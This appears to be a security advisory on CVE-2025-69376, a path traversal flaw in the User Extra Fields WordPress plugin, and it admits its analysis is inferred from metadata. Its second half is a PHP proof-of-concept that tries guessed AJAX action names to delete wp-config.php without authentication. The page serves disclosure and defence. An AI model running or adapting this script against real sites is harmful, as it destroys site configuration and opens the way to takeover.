Atomic Edge analysis of CVE-2025-69376 (metadata-based):
The User Extra Fields WordPress plugin, versions 17.0 and earlier, contains an unauthenticated arbitrary file deletion vulnerability. This flaw stems from insufficient path validation in a file deletion function, allowing attackers to delete any file on the server. The CVSS 9.8 score reflects the attack’s network accessibility, low complexity, and high impact on confidentiality, integrity, and availability.
Atomic Edge research identifies the root cause as CWE-22, Improper Limitation of a Pathname to a Restricted Directory (Path Traversal). The vulnerability description confirms the plugin fails to properly validate file paths before deletion operations. Without source code, we infer the plugin likely accepts user-controlled input containing directory traversal sequences (e.g., `../../../`) and passes it directly to a file deletion function like `unlink()` without canonicalization or restriction to a safe directory. This inference is based on the CWE classification and the described impact.
Exploitation occurs via an unauthenticated HTTP request to a plugin endpoint. The most probable attack vector is a WordPress AJAX handler exposed to unauthenticated users (`wp_ajax_nopriv_`). Attackers would send a POST request to `/wp-admin/admin-ajax.php` with an `action` parameter matching the plugin’s vulnerable hook. The request includes a parameter, likely named `file` or `path`, containing a traversal payload like `../../../wp-config.php`. No nonce or capability check is required, as the vulnerability is unauthenticated.
Remediation requires implementing proper path validation before file operations. The patched version 17.1 likely adds input sanitization, canonical path resolution, and verification that the target file resides within an allowed directory (e.g., the plugin’s own upload folder). The fix should also enforce authentication and capability checks for the deletion function, and implement WordPress nonce verification to prevent CSRF.
Successful exploitation allows complete compromise of the WordPress installation. Deleting `wp-config.php` causes site downtime and can enable attackers to take over the site during reinstallation. Arbitrary file deletion can also lead to remote code execution by removing critical `.htaccess` files or creating conditions for PHP file upload in writable directories. Attackers can disrupt server operation by deleting system files, causing denial of service.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69376 - User Extra Fields <= 17.0 - Unauthenticated Arbitrary File Deletion
<?php
/**
* Proof of Concept for CVE-2025-69376
* ASSUMPTIONS:
* 1. The vulnerable endpoint is an AJAX handler accessible without authentication.
* 2. The vulnerable parameter is named 'file_path', 'file', or 'path' (common patterns).
* 3. The AJAX action hook contains the plugin slug 'wp_user_extra_fields'.
* 4. The plugin does not require a nonce or capability check for this function.
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Common vulnerable AJAX action names based on plugin slug patterns
$possible_actions = [
'wp_user_extra_fields_delete_file',
'wpuef_delete_file',
'user_extra_fields_delete',
'uef_file_delete'
];
// Parameter names commonly used for file paths
$possible_params = ['file_path', 'file', 'path', 'filename'];
// Target file to delete (demonstrating critical impact)
$target_file = '../../../wp-config.php';
$client = curl_init();
curl_setopt($client, CURLOPT_RETURNTRANSFER, true);
curl_setopt($client, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($client, CURLOPT_SSL_VERIFYPEER, false);
foreach ($possible_actions as $action) {
foreach ($possible_params as $param) {
$post_data = ['action' => $action, $param => $target_file];
curl_setopt($client, CURLOPT_URL, $target_url);
curl_setopt($client, CURLOPT_POST, true);
curl_setopt($client, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($client);
$http_code = curl_getinfo($client, CURLINFO_HTTP_CODE);
echo "Testing action: {$action}, param: {$param}n";
echo "HTTP Code: {$http_code}n";
echo "Response: {$response}nn";
// Brief pause between requests
sleep(1);
}
}
curl_close($client);
?>
